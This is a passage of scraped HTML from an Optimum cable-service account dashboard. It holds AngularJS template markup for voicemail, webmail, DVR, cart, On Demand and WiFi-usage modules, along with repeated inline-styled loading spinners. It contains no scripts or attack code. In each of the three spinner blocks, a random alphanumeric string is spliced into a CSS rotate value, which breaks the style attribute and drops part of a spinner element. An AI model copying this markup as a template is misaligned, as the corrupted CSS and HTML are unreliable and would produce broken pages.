style="display: none;"></p> <!-- ngRepeat: item in module.items --> </div> <!-- No Results --> <div class="no-results-msg" ng-show="!isViewportSize.phone && !module.items.length && !module.error && !module.noEntitlement && !module.holdEntitlement"> <!-- voicemail--> <h4 ng-show="module.id == 'voiceMail'" ng-bind-html-unsafe="module.mobileCountMessage" class="ng-binding" style="display: none;"></h4> <!-- webmail --> <h4 ng-show="module.id == 'webMail'" style="display: none;">There are no messages in your inbox.</h4> <!-- dvr --> <h4 ng-show="module.id == 'dvr'" style="display: none;"> You have no recordings scheduled. Set some up using the <a href="#">Guide</a>. </h4> </div> </div> <!-- "ARTWORK" DISPLAY STYLE --> <div class="artwork-module-style" ng-show="module.displayStyle == 'artwork'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement && !module.items.length" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div class="no-entitlement-msg" ng-show="!isViewportSize.phone && module.noEntitlement" style="display: none;"> <!-- cart --> <h4 ng-show="module.id == 'cart'" style="display: none;">You do not have Optimum TV. <!--<a cta-arrow-link class="primary" href="#">Learn More</a>--><!-- if: ! isViewportSize.phone --><span if="! isViewportSize.phone" class="ng-scope"></span></h4> </div> <!-- Error --> <div class="service-error-msg" ng-show="!isViewportSize.phone && module.error" style="display: none;"> <!-- cart--> <h4 ng-show="module.id == 'cart'" style="display: none;">We can't get your <span ng-show="module.isLaBox" style="display: none;">Favorites</span><span ng-show="!module.isLaBox">Cart</span> right now. Please try again later.</h4> <!-- on demand--> <h4 ng-show="module.id == 'onDemand'" style="display: none;">We can't get On Demand right now. Please try again later. <!--<a href="#">All titles</a>.--></h4> </div> <!-- Results --> <div class="row" ng-show="!isViewportSize.phone && module.items.length > 0 && !module.artworkError && !module.loading" style="display: none;"> <!-- ngRepeat: item in module.items --> </div> <!-- No Results --> <div class="no-results-msg" ng-show="!isViewportSize.phone && !module.items.length && !module.error && !module.noEntitlement"> <!-- cart--> <h4 ng-show="module.id == 'cart'" style="display: none;">Your <span ng-show="module.isLaBox" style="display: none;">favorites</span><span ng-show="!module.isLaBox">cart</span> is empty. Pick some items in <a href="#">On Demand</a>.</h4> </div> </div> <!-- "WIFI" DISPLAY STYLE --> <div class="list-module-style wifi-chg" ng-show="module.displayStyle=='wifi'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div ng-show="!isViewportSize.phone && module.noEntitlement" style="display: none;"> <h4>Want to be able to access Optimum WiFi Hotspots? <!-- if: ! isViewportSize.phone --><span if="! isViewportSize.phone" class="ng-scope"></span> </h4> </div> <!-- Error --> <div ng-show="!isViewportSize.phone && module.error" style="display: none;"> <h4 ng-show="module.id == 'wifi'" style="display: none;"> We can't get your usage right now. Please try again later. </h4> </div> <!-- No Results --> <!-- Commenting for covid change --> <!-- <div ng-show="!isViewportSize.phone && !module.noEntitlement && !module.hasWifiUsage"> <h4>You could be getting more value from your Optimum Online service by using Optimum WiFi. <!--<a cta-arrow-link class="primary cta-link-margin" href="#">Learn More</a>--> <!-- </h4> </div> --> <div ng-show="!isViewportSize.phone && !module.noEntitlement && !module.hasWifiUsage"> <h4>We're here to help ensure you have the best WiFi connection in your home. </h4> </div> <div class="wifi-module-style" ng-show="!isViewportSize.phone && module.hasWifiUsage" style="display: none;"> <div class="row" ng-show="!module.wifiError && !module.wifiLoading"> <div class="span12"> <div class="row"> <div class="span4"> <h4>You've used</h4> </div> <div class="span4"> <h4>on</h4> </div> <div class="span4"> <h4>in</h4> </div> </div> <div class="row"> <div class="span4"> <h2 class="ng-binding"></h2> </div> <div class="span4"> <h2 class="ng-binding"></h2> </div> <div class="span4"> <h2 class="ng-binding"></h2> </div> </div> <div class="row"> <div class="span4"> <h5>gb</h5> </div> <div class="span4"> <h5>devices</h5> </div> <div class="span4"> <h5>days</h5> </div> </div> </div> </div> </div> </div> </div><!-- /feature-content --> <div class="feature-cta" ng-hide="module.id == 'onDemand' || module.id == 'onTonight'"> <div ng-hide="module.loading"> <span ng-show="module.link.mobileTitle" style="display: none;"><span class="primary hidden-desktop hidden-tablet cta-arrow-link" cta-arrow-link="" href="#"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span></span> <span ng-show="showLink && module.link.title" style="display: none;"> <span class="primary hidden-phone cta-arrow-link" cta-arrow-link="" href="#"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span></span> </div> </div> <div class="feature-cta" ng-show="module.id == 'onDemand' || module.id == 'onTonight'" style="display: none;"> <span class="primary hidden-desktop hidden-tablet cta-arrow-link" cta-arrow-link="" href="#" ng-show="module.link.mobileTitle" style="display: none;"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary hidden-phone cta-arrow-link-dt cta-arrow-link" ng-show="module.id == 'onDemand' || module.id == 'onTonight'" cta-arrow-link="" cta-arrow-link-dt="" href="#" style="display: none;"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> <!-- <div class="feature-cta" ng-show="module.error && module.id == 'onDemand' || module.noEntitlement" > <a cta-arrow-link class="primary hidden-desktop hidden-tablet" href="#" ng-show="module.link.mobileTitle"> <span>{{module.link.mobileTitle}}</span> </a> <a cta-arrow-link class="primary hidden-phone" href="#" ng-show="showLink && module.link.title"> <span>{{module.link.title}}</span> </a> </div>--> </div> </div> <!-- if: ! isViewportSize.phone --><p class="current-timestamp ng-scope ng-binding" if="! isViewportSize.phone" ng-hide="module.displayStyle=='wifi'">Current as of </p> </div> <div id="home-module-" class="span6 home-module" data-home-module="home-module" active="HomeCtrl.activeModules" data-module-type="'onDemand'"> <!--TODO: <div data-dropdown-checkbox="dropdown-checkbox"></div>--> <div class="feature-module"> <div class="select-feature"> <div class="container"> <div class="row"> <div class="span8"> <h2 class="module-title"> <span ng-show="isViewportSize.phone && module.mobileTitle" class="ng-binding" style="display: none;"></span> <span ng-hide="isViewportSize.phone && module.mobileTitle" class="ng-binding"></span> <!-- if: isViewportSize.phone --> <!-- if: isViewportSize.phone --> </h2> </div> <div class="span4"> <div class="dropdown-module-prefs hidden-phone"> <div class="customize-menu-btn">Change <i class="icon-caret-down"></i></div> <div class="menu"> <div class="arrow-up"></div> <table> <tbody><!-- ngRepeat: menuItem in module.menuItems --><tr ng-repeat="menuItem in module.menuItems" id="select-voiceMail" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Voicemail</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-onDemand" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">On Demand</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty is-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-wifiUsage" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">WiFi</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-webMail" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Email</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-cart" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Cart</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-onTonight" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">TV best bets</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-dvr" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">DVR</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr> </tbody></table> </div> </div> </div> </div> </div> <div class="feature-content"> <!-- "LIST" DISPLAY STYLE --> <div class="list-module-style" ng-show="module.displayStyle=='list'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement && !module.items.length" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 